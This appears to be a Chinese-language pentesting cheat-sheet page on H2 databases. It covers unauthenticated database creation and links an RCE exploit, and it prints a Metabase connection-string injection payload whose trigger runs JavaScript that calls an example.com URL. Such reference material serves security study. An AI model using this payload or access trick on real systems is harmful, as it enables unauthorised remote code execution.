# H2 - Java SQL database

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官方页面：<https://www.h2database.com/html/main.html>

## 访问

您可以指定一个**不存在的数据库名称**以便**在没有有效凭据的情况下创建新数据库**（**未经身份验证**）：

![](/files/atPkPo0MEraUSNfmhwNb)

或者，如果您知道例如**正在运行的mysql**，并且知道该数据库的**数据库名称**和**凭据**，您可以直接访问它：

![](/files/OYlt6mvNy4mvoepU2LcX)

***来自HTB的Hawk盒子的技巧。***

## **RCE**

在与H2数据库通信的权限下，检查此利用以获得RCE：<https://gist.github.com/h4ckninja/22b8e2d2f4c29e94121718a43ba97eed>

## H2 SQL注入到RCE

在[**这篇文章**](https://blog.assetnote.io/2023/07/22/pre-auth-rce-metabase/)中，解释了一个有效负载，通过**SQL注入**滥用**H2数据库**以获得**RCE**。

```json
[...]
"details":
{
"db": "zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;TRACE_LEVEL_SYSTEM_OUT=1\\;CREATE TRIGGER IAMPWNED BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\nnew java.net.URL('https://example.com/pwn134').openConnection().getContentLength()\n$$--=x\\;",
"advanced-options": false,
"ssl": true
},
[...]
```

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